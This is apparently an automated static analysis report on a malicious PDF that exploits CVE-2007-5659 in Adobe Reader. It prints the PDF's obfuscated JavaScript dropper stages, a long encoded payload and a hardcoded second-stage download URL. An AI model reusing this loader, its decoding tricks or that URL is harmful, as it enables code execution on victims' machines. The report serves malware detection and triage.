Malicious PDF — malware analysis report

Static analysis result for SHA-256 6c6fd24c2a444ea7…

MALICIOUS

PDF

15.4 KB
MD5: b9717f5e29153282e43cdb175e4f1abc SHA-1: e80e085edec7b1a6f414a1be4bdd6dc0a6806ce7 SHA-256: 6c6fd24c2a444ea78d91ea36a190773182f99836ebc5aaa862489b9189dc71ec
366 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download a second-stage payload from the URL http://searchfunes.org/cgi-bin/153/n002106201r0019X3336124dY3c6ab815Z0100f060. The exploit targets specific versions of Adobe Reader, indicating a targeted attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after static deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 5 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, hex_dashed_payload, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchfunes.org/cgi-bin/153/n002106201r0019X3336124dY3c6ab815Z0100f060 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 5 at offset 0x148 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
legacy_pdfkit_stage_000.js
9ea4bfb8a9dabe5cc46c16fe6030896c456a598449c2411bdec7658bad5c8d04		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A0B 12297 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function Uap_yTw_Q5V_EFJ(a7__DD5_5h, U2_T__05_n){var WS7___55y = 20;var k_7_t_1 = 0;var qfeuNTs11g_32K8 = 512;var F_83_2EQO3885y = WS7___55y;var Rj2CTbFe = "";var K_fowY_81 = 4;var eXv_eR_s4_XGdtS = this;var sDo__4Ub3 = "1234ee";var idF_d__L_Qn_gNV = arguments;try {var F___qc_2 = 0;if (app) {F_83_2EQO3885y = F_83_2EQO3885y + 2;U2_T__05_n = pr[F___qc_2].subject;}sDo__4Ub3 = sDo__4Ub3.replace(/\d+/, "call");} catch(e) { }F_83_2EQO3885y = F_83_2EQO3885y - WS7___55y;var r_5_L47 = new Array();var iBRxh6ed1AWceC6 = 150;if (iBRxh6ed1AWceC6 > 0) {r_5_L47[0] = iBRxh6ed1AWceC6;r_5_L47[1] = qfeuNTs11g_32K8;r_5_L47[0] = r_5_L47[0] - iBRxh6ed1AWceC6;r_5_L47[2] = r_5_L47[0];r_5_L47[1] = r_5_L47[1] - qfeuNTs11g_32K8;r_5_L47[3] = r_5_L47[1];}if (a7__DD5_5h) { r_5_L47 = a7__DD5_5h;}if (!a7__DD5_5h) {var pNnAY_7d05F_66 = idF_d__L_Qn_gNV[sDo__4Ub3].toString();var GnKk__E_f6 = 0;var A_1_M6J_5P = GnKk__E_f6;iBRxh6ed1AWceC6 = iBRxh6ed1AWceC6 - 102;var vESRSABIVfv = 0;while(A_1_M6J_5P < pNnAY_7d05F_66.length) {vESRSABIVfv = pNnAY_7d05F_66.charCodeAt(A_1_M6J_5P);if (vESRSABIVfv >= iBRxh6ed1AWceC6 && vESRSABIVfv <= 57) {if (GnKk__E_f6 == K_fowY_81) {GnKk__E_f6 = -1;}if (GnKk__E_f6 < 0) { GnKk__E_f6 = 0; }r_5_L47[GnKk__E_f6] += vESRSABIVfv;if (r_5_L47[GnKk__E_f6] > qfeuNTs11g_32K8) {r_5_L47[GnKk__E_f6] -= qfeuNTs11g_32K8;}GnKk__E_f6 = GnKk__E_f6 + 1;}A_1_M6J_5P = A_1_M6J_5P + 1;}}var qX__F8LmeLb_u7 = 0;var o_8K__xt3o = 0;var bP___3j3U1 = -1;var QAl6_WJv = 0;var p2G54_n3 = 0;do {var J0xO3g = 256;if (r_5_L47[QAl6_WJv] > J0xO3g) {r_5_L47[QAl6_WJv] -= J0xO3g;}QAl6_WJv = QAl6_WJv + 1;} while (QAl6_WJv < K_fowY_81);QAl6_WJv = QAl6_WJv - K_fowY_81;while(QAl6_WJv < U2_T__05_n.length) {var yVf_756 = U2_T__05_n.substr(QAl6_WJv, 1) + ' V V ';QAl6_WJv = QAl6_WJv + 1;var b__WyHGy = parseInt(yVf_756, WS7___55y);if (bP___3j3U1 != -1) {o_8K__xt3o += b__WyHGy;if (qX__F8LmeLb_u7 == K_fowY_81) {qX__F8LmeLb_u7 = 0;}var fNA_5Gnqb6u6g = o_8K__xt3o;fNA_5Gnqb6u6g = fNA_5Gnqb6u6g - (p2G54_n3 + 2) * r_5_L47[qX__F8LmeLb_u7];if (fNA_5Gnqb6u6g <= 0) {fNA_5Gnqb6u6g = fNA_5Gnqb6u6g - Math.floor(fNA_5Gnqb6u6g / 256) * 256;}fNA_5Gnqb6u6g = String.fromCharCode(fNA_5Gnqb6u6g);if (F_83_2EQO3885y == 1) {Rj2CTbFe += b__WyHGy;} else if (F_83_2EQO3885y == 2) {Rj2CTbFe += fNA_5Gnqb6u6g;} else {Rj2CTbFe += QAl6_WJv;bP___3j3U1 = -2;}bP___3j3U1 = -1;qX__F8LmeLb_u7 = qX__F8LmeLb_u7 + 1;p2G54_n3 = p2G54_n3 + 1;} else if (bP___3j3U1 == -1) {bP___3j3U1 = WS7___55y;o_8K__xt3o = b__WyHGy * WS7___55y;}}var o_OciS5_Yd_d = this;o_OciS5_Yd_d['ev'+'al'](Rj2CTbFe);}
	Uap_yTw_Q5V_EFJ(0, "4gb51a2609919339c1b71gcb6ebi110d4a9da6b45bc9285b19c61174aec78145afc930bi7f80bcb588b5ae7i67af4i6j1ib3277ba6996g20849762439gb72c1b7dbi70c44db33e9h1h901h870c88b0718ac7674g7cb3cc325f9096cd488c349a1fah236ecd908a63ae897j5g87c2c02h3jb3bab53hb34aa8b699c486bjahb35aa1904e4j828e3g4551c4c61j44bb489bc5c631b48ebhbb879db377656b932b2g57b3c82dce9948a0ac973ebhc8880693a4806i7150a04d2h2fc4c3263gb37j111880218e8e9794908h92708j4991505h3ec6cb3h25c254029eb721cdb48jcfad64a262966bbi4f7e4a979g3g1h927c3fa5915c0d9ac607b981c2676h3380638c3fc2a43j2daga02bc1905j1g6e99a8067fc2a7ab47bi645a39910j6gbdb39b20ac8e67379cc324144aa69f903ic5376j3ib30c840db39j608e803907679721183e8871c75da66190ca9d2j7a12a5a73ebhba39135acb093162c09dcd22c36e7a07800d9hc6c09h6d86c36i2496bj1f3e70bdbe11128h4e8fcdbd2i669a9dc772aia56j368hba06425jbibf2a3i8059abai8h05720980a19996c0696556c33a123b808ece00804j9ic3c730biabb39ga19c974c8b77bg4b571ebdcacece9d930e16a53f9ec1ba9iaa93bi8b8i72800h43168i9h0e3d806h31cac035cd8ac3067a6f805a663i822b3a5bbh034f1hb38f2dbb933jc0a7b310bh4i995g7j71ag5c6b3d901b5gb28b6043c1b54j199hb3cda5719e99a562bb379f4fc7186f1eb96g4jbdb5572599b305b16d9e9hb15ebb329e33bi1f821280841i96892c495ibh1b136hb3a3bh3f9357882bb328859i99742g8a8230155abh1j1j69b3abcd37935f9423b32g91ah80c57gabc2385e85b3270e61a1aj140e993cc22h8g3f9d08a2b356b6a94g447hb6064a69abc8283jbi7b9abf920589c7ba885aaeb377655ab321455g8ec82b3gbb8c0eaa991d7i93898ga962c47f7171943b3j4hbe9017c6825caga28b0c02b1b3c77i8ha183884h80596352c3010e2fba54bi12b343cd8eb3bdad908e948j70bb58720i81b51ac8895c4196c44b0da59407a781be5g7f2e8228520c97a46
... (truncated)
legacy_pdfkit_stage_001.js
799db42f7b80a8a20c7ae824872bf38c43fd4fd5eda03ebcc2bdbfb44c387dcc		 deobfuscated-js nested inline base-23 callee-key decoded JavaScript at offset 0x1A0B 4865 bytes
Preview script
First 1,000 lines of the extracted script
��u&KPzh��#a2�hw,\��p�.8>�d�>�Ykk�9AR8Q\���5�u^GO�y~>X2(:Vx���zl��5�k�;zVOd�f@��H�u~_�X�`Oa�nD)c\weJ�OJg�A��y�Di>��Th�>hAXD`zw�G}O>a|F}{b��lz�4D_�j�8��yz�tq_RYHp��mDX,@@Vo��@v|�8`tEf�9;��V �tbu8C8HV;iwQ]�?P�nY��he�/<;�;��K�}Dh@�w�s�tV;WbQ]~QP�_k�_�w�==28��j�>J}v�S�O�i2X>pv���U��7lP_|T�z8hF�~}�zu4lzQQ�<G}�P�_�z�D8:);Voi)@6��lsiL\}msk}=��2,/�A�j�h�:�x5=8A�|�hqL�x4��V}���j+IBA_�l2C\�m�kq=��.xt��zq8L[>I)5{8_�s�_qC�o#F8:T"87;e�a�k�O��V,�z� t#��DL\�XskhO��I��� �}8!I#JD �8S�|�V�L�f5O81B9:A)��_mb�wenR\f �o�,X/V�v _hOvuAC2y��kbz�qUh]|}~�D���k{o�:y��nez�MXe]|�{�7�n�j�k8T#SA&�/�bdq�}�VRbZg�r ;X5(H:)./�bdq�}�VRb]g�r�Y8�� �)�w�e8qg}m X)�}H�~rh�C�o@Rt�.��q�xr�|CRQ)S��87��tqG�OkyF�kw��h>X@5LA8�2�tttShRk�;@D:?@>C t���Mwgw�G8�w{�e o�/Iw�k�P�j}�F�}���} 9^#VA/�;�k_}S_gw�/R&:6?"V>�s�|h��kMLqf�t��5F8(E"8L)z�zkS�Ue�8L;.n4518 zg�bt_kL_]�nu�Vxh����#�n|e�btqRnN �~sM�l{���i~�)�kSewN�j1h�?Xd�pO58�S9s�SrA����8�Inqn|�PMnR\D X,nh�DYr���::.2J�j�&��rE�vtW8@5k�Ngg��^J�j�#n�S��@r_KhLV��2:@e}\�|:~�QhU8OAn�6pj�jg@�y��g}vq�suI:4~NH%G>8?X,EC;&�x{ @ttM��4o�9bF8I;E8RU&knEUm~|LF�q���n;8�mCnz�s�Y\eReS[Hx#X8YhEmO~ jCs����{@S}q��:��<hC8OA@D5P,Vx}r]eyqQ5I5kq9dm�s[F�xn���o�m:KD8b�k��@�e6nIA_��b�M�yF��NwF8L)@Vo~�8CQhQZxTP��n��zz�,L)H>#Z�TK~KDz_n����r2Q8�ABs�A{Flqw��n\8W�NfxKG�we��kq�CI,A��gr8RR}JbOyij[At9,@8y;Zs�;�Frk|�goy�V�.lnHN�TAz�h���n{;Fzre���}�.C6A_~i8=RI�;kF�KRRSqN4�w�m�n,^X5:A8� ^IbVtO l[^DtW8=/=H7)@8X7wJh4sipg;t?VA�vIq��y�kVnF\Gd\�k}|I��T�1{8X8^F�AtC�Q[LSw3>nzq}�4��K�C=CJ�`�9Q�KS�en�b_�~8X8mIh�w|�kMn=\edT~=re�st�8`5B8L/:V|@Y�_pyk\eU\M[k�q��I�z<�7r X>(QH4>�O\bz�vnY�LYPy\}S�s:r�HkL81AF~>^,:EH(V\�P�v=r�HnI84@/J_l{8=C|O_ze�y_h�OM_F~q��}n)E5okQW�WP}wq�}q}�2#482M&��UY�q�ykJzU\_pk�_��Ixh<�L` X,=QHFS}�����4]tQN�<PteV�t__� W8�Ohz�|�_bh@J_Iuk� zhA {��lZw��E)CC&%=u"AC/sRnk���nbwRVYmlkBN�Q;z�h ��ku5C>Lr8=2 O\th�vYG�LDbyZbKfxQD�zk��nw~~\]bQ`�NP�eh�b_t�2CF8;P��b�f� �Q84@/:F{<HEK%V��}�x�;�}~]�s}HV�l���tu��5r�~wSR�qop>+�HeZ<�}_��q�\k,2aI�t[q`nt�8Y}A�}q���>@�E�rNwz���t�;V4��wp��HSWFI��akf�ttGqw/#�w0erBb_��v��Ve/CO,�Hhc9��h �wbVkA��H�rE�ww��kq>k;CA�BeuKk_}�y�wSeC��n���l�j@B,aIkb[qr�t�Mn}G88>�h�{��#wHnWH�b_��z�AkD�o�txw��}8jVh�vCXRwnf{�1�7�btrQ}n}�A^HDAob�HRk�55B�TB��H^b]2���{D���XhPqfZkj��8X,E�<r?�0l9�V|j�,wQ�ZK������tD_8@#���|l��eF�Y�KO��;V�v�8�8<sv;u8O>f�hM�qR|��7�C�hnWQ�he�GXTD#c}HN}�Hd\NAA�m�;VbKdRx�U>U8@=�TBN9=�H3TQ+{TB<K=�]ETQ@�TEQ9=�?0�Y.{HE3K=�k}HQC��NH6=�B0�f1xHE6H=�9FPiC�KE�7=�E0HT1xRP9H=�;zHiF�H�R3=�OTSh4u��=�=�<JShI���Q;=�SeH97uKOCE=�=?Sm%�S�[l=�QfQ;:u�RJ}=�9CQj(��S5<=�NQSo=�HKBB=�{H�5+�Q�98=�QNQq=�QVEB=�F>R8+�Qd9i=�lfP:@�SbIH=�}D�>.�HN=]=�0NH6C��XSz=�M9O=1�HQ<i=�o�R;F�PXRF=�P9O@4�HQ?i=�r�R>I��iYw=�K9Pu7~SRxZ=�6O�r%�HTQ==�SnH97~PU|c=�>KP;%�HXZD=�N3H=:~�lBN=�<�PB(�P95s=�V5P=={H2M�=�CHP?+�Kh;9=�[8H<@{S1��=�~~Rw.�Q88t=u65RGCxH6RP=u�}SB1�S<6>=ul7HBCxH7OK=uKGJ}1�Q8@>=u73�HFxH3NP=xPyPz4�H:u4=x>\KBIuH6UM=x�?KE7�P6D3=x>[PE%u�uYE=xL?PK:��AJ6={CVHE(�QpTK={SBHF=�P?�o={AaHI+�S<5N={Q@�G=�S9I1={?NK +��@:G=~YB��@�P=H8=~JbPN.�Ku=G=~7=S�C�RDMh=~�SHK1�Sw>E=~59RQF��DKT=��TKN4�O@@H=�3<��I�KBcV=�H���7�I?wz=�s<K�%~HJXU=����O7�HB?v=�=6��%~�Ckb=�O�Kb:��IIA=�DnPe({JF5�=�d�HQ=�S}K?=�CkHc+{P�;�=�QHIc@�S}�s=�JkHU.{�J3N=�5��eC��HMB=��o�\1x��u�=�;��iC�H�Oq=�N8�f1xS x�=�:}HkF��Jd>=�KWRW4uS u =�9HPhI�J�Rj=�QhR07uRTEN=�9?Q6%�ROZ;=�UQR4:uJ�E|=�CBJo(�QL65=�WTR5=�QQKM=�EzR8+�RN95=�WfJq=�QULD=�E?Jr+�QW97=�ZPJp@�QeNK=�E:Jr.�KQ9Y=�6�JrC�KNN?=�H:K81�KW<Q=�6KK8F�RSQ@=�K9K64�KZ?R=�9NPAI�KTQB=�K7K?7~KX?S=�;TQ=%�QWT?=�Q7K?7~K\EP=�<MK:%�KTYs=�Q3K=:~Q6EN=�?NK<(�H039:Vyj�)�bqHc���FE8L&��n r��h(�zVb�0�p@kwHma��j,#�JQX�S�GGV���8�CG�?��r F#Hx40H?QNV���8g]��H��h|�PIO =8�bw`T�}�UH@�}�y�t)-8PA ��DdIk_[qr�w�Mk}8F,{IS~Q��Z8E#I^`s�E��e��P@1CQ�TS;AwHnWH�b_��z�Ak&RD�b�_PL��ra2:�TbfK}�k��zeSM;;^In}^bWw�b\b�>Y���5H�eDz���}�)C/@{e�R}Vhfikg�i2H8H�IH<9?H)2�IMr3��u_�x�8@�y�8}qt_0kR�Ro;��wW8@5KV8�z�V<tah@xSxq}Q,`>fh�Jt�����M)�hnMH�LeR�\{��TCCG5�iGwq�omt�_MT�[eU�>{��W~,X/�9�`Bh�_�|�z;n81A��Sc]�z�@HD���{�f��~�8_QJK\_jrK�^@/���x)dQzn��|2��tbB�5[#:(Sl�x,Fl}?c�<8��S q�}r#X)H;8QwTf�?M�qY��ee�8W>4JG8N�6`uKP�}n�nt�{+4A8�mQt�h�sJ���wK�,4L8�}t��gy�4@C�3�K�@�B�?x.A>���rD}�ttv�{���RrX8O,+:Ax~�;+Q�HHxK;t}ny}w��/I86G l_<H�E5t�Yy}�_�,W/L>HA,
... (truncated)
deobfuscated.js
e67aa44d90bac5033ed497817d73d1a0ff8f8db75c62e46544d2680936b2c794		 deobfuscated-js PDF JavaScript deobfuscation pass 75214 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app.eval(buf);
}

4gb51a2609919339c1b71gcb6ebi110d4a9da6b45bc9285b19c61174aec78145afc930bi7f80bcb588b5ae7i67af4i6j1ib3277ba6996g20849762439gb72c1b7dbi70c44db33e9h1h901h870c88b0718ac7674g7cb3cc325f9096cd488c349a1fah236ecd908a63ae897j5g87c2c02h3jb3bab53hb34aa8b699c486bjahb35aa1904e4j828e3g4551c4c61j44bb489bc5c631b48ebhbb879db377656b932b2g57b3c82dce9948a0ac973ebhc8880693a4806i7150a04d2h2fc4c3263gb37j111880218e8e9794908h92708j4991505h3ec6cb3h25c254029eb721cdb48jcfad64a262966bbi4f7e4a979g3g1h927c3fa5915c0d9ac607b981c2676h3380638c3fc2a43j2daga02bc1905j1g6e99a8067fc2a7ab47bi645a39910j6gbdb39b20ac8e67379cc324144aa69f903ic5376j3ib30c840db39j608e803907679721183e8871c75da66190ca9d2j7a12a5a73ebhba39135acb093162c09dcd22c36e7a07800d9hc6c09h6d86c36i2496bj1f3e70bdbe11128h4e8fcdbd2i669a9dc772aia56j368hba06425jbibf2a3i8059abai8h05720980a19996c0696556c33a123b808ece00804j9ic3c730biabb39ga19c974c8b77bg4b571ebdcacece9d930e16a53f9ec1ba9iaa93bi8b8i72800h43168i9h0e3d806h31cac035cd8ac3067a6f805a663i822b3a5bbh034f1hb38f2dbb933jc0a7b310bh4i995g7j71ag5c6b3d901b5gb28b6043c1b54j199hb3cda5719e99a562bb379f4fc7186f1eb96g4jbdb5572599b305b16d9e9hb15ebb329e33bi1f821280841i96892c495ibh1b136hb3a3bh3f9357882bb328859i99742g8a8230155abh1j1j69b3abcd37935f9423b32g91ah80c57gabc2385e85b3270e61a1aj140e993cc22h8g3f9d08a2b356b6a94g447hb6064a69abc8283jbi7b9abf920589c7ba885aaeb377655ab321455g8ec82b3gbb8c0eaa991d7i93898ga962c47f7171943b3j4hbe9017c6825caga28b0c02b1b3c77i8ha183884h80596352c3010e2fba54bi12b343cd8eb3bdad908e948j70bb58720i81b51ac8895c4196c44b0da59407a781be5g7f2e8228520c97a46j23b39539c1b34j0b7habc2c77dbg9f723f8022610480b33222b39b459eb34525a080b79i44a86e7i298065912jb317710da57j499gb55f3e99972a177ic5b2cc1abh5j9j29b31f7hc3939f48ajb36g456hcd262j74b7bc0751bi34b72794238da6bb9j3i9bb3473h79c82i1e3a80c2b41gad7i9a26893jacc7c280837ia86j5982c31h255d939h02069940041bc7cc8f00c2bd9b6i82463b5dc6355422babf2i1cb37d13bc801d7iabb39f8589c8866255c63d601ea8c9233hc05d1h098j3f9b95bdce6e628878835fc74g3b55b3a73hcf806dbabjb31jbh9hc80a9e60bg8d9d76a1526i47c8c350bi825h3fa28g1aaf7b80a19f4i8d6d6f2ecb557g0a88cc5f0bc7a01301b32f197b80aj925c807d8b26a5536129a7246g028ea44bc8bb682e6f802b0j52a89fb156c34d7h2h93cd5e098g9h1i9b804h316ha70f2678a47e015fb66jai38881083c3c7b43bbdb33j3h6780c3ba468c78a81b976ead2e9e238f0f927c4j76a56b2979a73c34528ebj1f40c37gc823bi2j6e9i8c806ea7a583665bbj2f155d8h8dc94jcd68cb07c73g7jcdb3978577805d3253973a516480901831926817b99148b1aec6bj9195c24c573i8g1f1i40b3a21i3f8j5h2209a84ibhb1b30a6e7280965c4cad523i528e084330bb9826b18036cd8ca0118967c48b7i78b3476d508ba71jbacb9i2f0c8039b3a58i0a9683a386813iae2b461j801e34c4ada61ace8e531i9jc2c3057ib97hb62ea6536422c5bb4322b38g58bdb357346f8e24116dc4aebb5gbb2g6f0g89c77b1080743j8jb33a346ib50b0859949e9d24bg65ac2hc4244eb799743b83807b0e7b8h1jc86c90adbd3c9f48a4cd80095a9c8g7e3a7h805927858i2a0a63a3a6c11iae4b9db6cd3576bab3b37eb1a55f595h9d18354ib9a92d468h7jc5bhb30da38e99887377b3526856b5233c3h94b60115a87hc321c011bhb98jbj6f6d8b5j8b64b31a3i5j8ja1422da8921109b34e8e9780057e82b383827da52f5h299db43dceb15i2a07bi4b0ib280b37a62806e5a3j97514a36b3034i2ha57b2da99d34099ab9c5cd8i8h9f993db329770a99a428bi8g621dcf9044199hb81fb769b3778f42aj488b27c71g3j1hb3774597802fbi73b1agb74282788e20974g971jc7244f19b37f518j8033175i8icb1b748078925790549h29b82f6jbhb387479a8e6g4398bb3026368d78bg459254bfcd91348dbic6af6da9c23h1a578002cf2icbbdb632b36fbe2da51799a59d9g7596b9616d8e8h3b3939b3911706994094be8gce890bc7c08fa6b94c58799220573191002526c67b050hc2049686bh9g8695b38081639j3b31379g9e3e2jbi87220i890c09b8b304888hb5915g3a8b252e18850h0gbi8b542baea843cdaic3bh998993717661a6474c2ic5af2b2ib3803gc9b34b1c728ba0937j8067666b9040793db81b4b05b3731jaeaj42197ga01ha15bc4979a6cb353
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.